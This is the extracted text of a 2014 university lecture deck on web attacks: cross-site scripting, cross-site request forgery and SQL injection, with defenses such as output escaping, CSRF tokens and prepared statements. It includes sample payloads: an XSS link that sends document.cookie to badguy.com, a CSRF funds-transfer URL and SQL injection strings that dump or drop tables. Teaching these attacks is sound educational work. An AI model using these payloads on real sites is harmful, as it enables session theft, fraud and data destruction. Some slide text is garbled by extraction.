CSCD 303 Essential Computer Security Winter 2014 Lecture 12 – XSS, SQL Injection and CRSF Reading: See links - End of Slides.

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Cross-site Request Forgery (CSRF) Attacks
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
SEC835 OWASP Top Ten Project.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Exploits: XSS, SQLI, Buffer Overflow
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
OWASP Zed Attack Proxy Project Lead
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Information Systems Security LAÏMOUCHE El Hadj, DAVY Benjamin 1source :
Origins, Cookies and Security – Oh My! John Kemp, Nokia Mobile Solutions.
Prevent Cross-Site Scripting (XSS) attack
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Server-side Scripting Powering the webs favourite services.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
1-Vulnerabilities 2-Hackers 3-Categories of attacks 4-What a malicious hacker do? 5-Security mechanisms 6-HTTP Web Servers 7-Web applications attacks.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Robust Defenses for Cross-Site Request Forgery CS6V Presented by Saravana M Subramanian.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
COMP3121 E-Commerce Technologies Richard Henson University of Worcester November 2011.
Cross-Site Attacks James Walden Northern Kentucky University.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
Web Security SQL Injection, XSS, CSRF, Parameter Tampering, DoS Attacks, Session Hijacking SoftUni Team Technical Trainers Software University
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
COMP9321 Web Application Engineering Semester 2, 2015 Dr. Amin Beheshti Service Oriented Computing Group, CSE, UNSW Australia Week 9 1COMP9321, 15s2, Week.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Session Management Tyler Moore CS7403 University of Tulsa Slides adapted in part or whole from Dan Boneh, Stanford CS155 1.
Intro to Web Application Security. iHostCodex Web Services - CEO Project-AG – CoFounder OWASP Panay -Chapter Leader -Web Application Pentester -Ethical.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
The OWASP Foundation Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
Exposing Private Information by Timing Web Applications Stephen Kleinheider.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Module: Software Engineering of Web Applications
Building Secure ColdFusion Applications
Web Application Vulnerabilities
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
Cross-Site Request Forgeries: Exploitation and Prevention
Riding Someone Else’s Wave with CSRF
CSC 495/583 Topics of Software Security Intro to Web Security
CSCD 303 Essential Computer Security
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Cross Site Request Forgery (CSRF)
Presentation transcript:

CSCD 303 Essential Computer Security Winter 2014 Lecture 12 – XSS, SQL Injection and CRSF Reading: See links - End of Slides

Overview Idea of XSS, CSRF and SQL injection is to violate the security of the Web Browser/Server system Inject content on web pages that trick users or Inject content on web pages that trick web servers Result is stolen resources or destruction of information

Web Based Attacks

Application Layer  Attacker sends attacks inside valid HTTP requests  Your custom code is tricked into doing something it should not  Security requires software development expertise, not signatures Network Layer  Firewall, hardening, patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests.  Security relies on signature databases Firewall Hardened OS Web Server App Server Firewall Databases Legacy Systems Web Services Directories Human Resrcs Billing Custom Code APPLICATION ATTACK Network Layer Application Layer Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Insider

Types of Web Attacks What kinds of Web attacks are popular? Inadequate validation of user input Named Attacks Below –Cross site scripting, XSS –Cross site request forgery, CSRF –SQL Injection

Cross-site Scripting (XSS) Cross-site scripting (XSS) computer security vulnerability typically found in web applications –“Allows code injection by malicious web users into web pages viewed by other users” Examples of such code include HTML code and client- side scripts An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as same origin policy for scripts –As of 2012 and 2013 cross-site scripting is number one web site problem

Same Origin Policy Web Scripts Intent is to let users visit untrusted web sites without those web sites interfering with user's session with honest web sites Same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin Two pages have same origin if the protocol, port (if one is specified), and host are the same for both pages URL Outcome Reason Success Success Failure Different protocol Failure Different port Failure Different host

Example Websites XSS’d A hacker was able to insert JavaScript code into the Obama community blog section –The JavaScript would redirect the users to the Hillary Clinton website obama-website-hacked-users-redirected-to-clinton-campaign.htm Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs List of websites XSS are here Example of XSS Attack

9 Cross Site Scripting (XSS)‏ Recall … –Scripts embedded in web pages run in browsers –Scripts can access cookies Get private information –Manipulate page objects Controls what users see –Scripts controlled by same-origin policy How could XSS occur? –Web applications often take user inputs and use them as part of webpage

XSS Example User input is echoed into HTML response Example: Search field – ? term = apple search.php responds with this page: Search Results Results for :... Is this exploitable?

XSS Example Attacker’s Bad input Problem: No validation of input term Consider this link: ? term = window.open( “ = ” + document.cookie ) What if user clicks on this link? 1.Browser goes to victim.com/search.php 2.Victim.com returns Results for … Browser executes script: Sends badguy.com cookie for victim.com

XSS Results of this Attack Why would user click on such a link? –Phishing in webmail client (e.g. gmail). –Link in doubleclick banner ad –… many, many ways to fool user into clicking What if badguy.com gets cookie for victim.com ? –Cookie can include session authentication for victim.com Or other data intended only for victim.com  Violates same origin policy

XSS Example However, there is a great site with many cut and paste opportunities to try this out A complete cheat sheet for XSS:

Preventing XSS Escape all user input when it is displayed –Escaping converts the output to harmless html entities becomes <script> but still displayed as –Methods: OWASP ESAPI Java Standard Tag Library (JSTL) OWASP XSS Prevention Cheat Sheet XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Preventing XSS Security Expert Coding Recommendations use the Microsoft Anti-XSS Library

XSS Prevention Noscript Firefox Add-on Noscript: JavaScript, Java, Flash Silverlight and possibly other executable contents are blocked by default –Will be able to allow JavaScript/Java/... execution (scripts from now on) selectively, on the sites you trust –Must first enable Javascript in Firefox

Cross Site Request Forgery CSRF

What is Cross Site Request Forgery? Define it Cross-Site Request Forgery (CSRF) is an attack that tricks victim into loading a page that contains a malicious request It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf Change victim's address, Change home address, or Change password, or purchase something

CSRF Attack - Background W W h e n y o u a u t h e n t i c a t e t o W e b a p p l i c a t i o n, S e r v e r p r o v i d e s y o u w i t h a s e s s i o n c o o k i e T B r o w s e r r e m e m b e r s s e s s i o n c o o k i e n a m e, v a l u e a n d d o m a i n i t c a m e f r o m f o r f u r t h e r u s e –From this point on, every request initiated from browser to the application will contain the session identifier for the particular domain –The browser automatically supplies this information so the developers don’t have to do it themselves

3 2 Attacker sets the trap on some website on the internet (or simply via an ) 1 Vulnerable site sees legitimate request from victim and performs the action requested tag loaded by browser – sends GET request (including credentials) to vulnerable site Custom Code Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Hidden tag contains attack against vulnerable site Application with CSRF vulnerability While logged into vulnerable site,victim views attacker site

Cross Site Request Forgery (CSRF)‏ C C r o s s S i t e R e q u e s t F o r g e r y, a l s o X S R F o r C r o s s S i t e R e f e r e n c e F o r g e r y – Works by exploiting trust of site for the user – In the case of XSS, the user is the victim – In the case of CSRF, the user is an accomplice. E x a m p l e : h t t p : / / s i t e / s t o c k s ? b u y = & s t o c k = e b a y –Allows specific actions to be performed when requested If a user is logged into site and an attacker tricks their browser into making a request to one of these task urls, then task is performed for logged in user … but the user didn’t intend to do it

Dangers of CSRF Most of the functionality allowed by website can be performed by an attacker utilizing CSRF What does this mean for victims? –This could include Posting content to a message board, Subscribing to an online newsletter, Performing stock trades, using a shopping cart, or Even sending an e-card

CSRF More Details The most popular ways to execute CSRF attacks Using a HTML image tag, or JavaScript image object –An attacker will embed these into an or website so when user loads page or , they perform a web request to any URL of attackers liking Examples follow

CSRF Code Examples HTML Methods IMG SRC SCRIPT SRC IFRAME SRC JavaScript Methods 'Image' Object var foo = new Image(); foo.src = "

Another CSRF Example Say, online banking site performs a transfer of funds action by calling a URL such as: transfer.do?acct=ATTACKER&amount=1000 –This URL will transfer $1000 from a victim’s account into the attacker’s account if the victim is logged into their account within BigSafeBank website

CSRF Example Attacker must fool victim into clicking link and executing malicious action Attacker can create an HTML with a tag such as: When a victim views this HTML , Will see an error indicating that image could not be loaded, But browser still submits transfer request to bigsafebank.com without requiring any further interaction from the user

CSRF Example Crazy part is … Even though the image was rendered unsuccessfully, Using tag, an automatic http request was made that contained the victim's credentials, Ie. Session Cookie Allowing the server to perform the malicious action

CSRF Why Does it Happen A web application's vulnerability to CSRF is due to the following conditions: –The use of certain HTML tags will result in automatic HTTP Request execution. –Our browsers have no way of telling if a resource referenced by an tag is a legitimate image –The loading of an image will happen regardless of where that image is located.

CSRF Why Does it Happen More reasons why... –Code within web application performs security sensitive operations in response to requests without validation of user –GET requests are especially vulnerable to this type of attack, but POST requests are not immune

Fixing CSRF with CSRF Guard The Open Web Application Security Project (OWASP)‏ Developed a tool, CSRF Guard to implement session-token idea to thwart CSRF attacks When user first visits site, application will generate and store a session specific unique request token This session specific unique request token is then placed in each form and link of HTML response, ensuring that this value will be submitted with the next request For each subsequent request, application must verify existence of unique token parameter and compare its value to that of value stored in user's session

SQL Injection

Very Common vulnerability (~71 attacks/hour ) Exploits Web apps Use Databases –Poorly validate user input for SQL string literal escape characters, e.g., ' –Do not have strongly screened user input Example – escape characters "SELECT * FROM users WHERE name = '" + userName + "';" If userName is set to ' or '1'='1, the resulting SQL is SELECT * FROM users WHERE name = '' OR '1'='1'; This evaluates to SELECT * FROM users ⇒ displays all users

SQL Injection Example – Select statement "SELECT * FROM userinfo WHERE id = " + a_variable + ";" –If programmer doesn’t check a_variable is a number, attacker can set a_variable = 1; DROP TABLE users –SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP TABLE users; – Result of this query? –Users table is deleted

Impact of SQL Injection - Dangerous At best: you can leak information Depending on your configuration, a hacker can –Delete, alter or create data –Grant direct access to the hacker –Escalate privileges and even take over the OS

Preventing SQL injection Use Prepared Statements –$id=1234 –“select * from accounts where id = “ + $id Next one is safer – More exact –“select * from accounts where id =1234” Validate input –Strong typing If the id parameter is a number, try parsing it into an integer –Business logic validation Escape questionable characters – ticks, --, semi-colon, brackets

Summary Experts suggest, –Internet Security model is completely flawed –Made worse by Web 2.0 –As developers … we can at least ensure our code is not broken –As users … we have far less control – Browser security !!!!

References CSRF Links –CGI FAQ on Cross Site Request Forgery (CSRF)‏ –Art of Software Security Assessment – Same Origin –OWASP CSRF Site –MSDN Article on CSRF Explained –Wikipedia site_request_forgery

References XSS html

References SQL Injection Cheat Sheet SQL Prevention njection.html SQL Attacks from UnixWiz OWASP SQL Injection _Sheet

End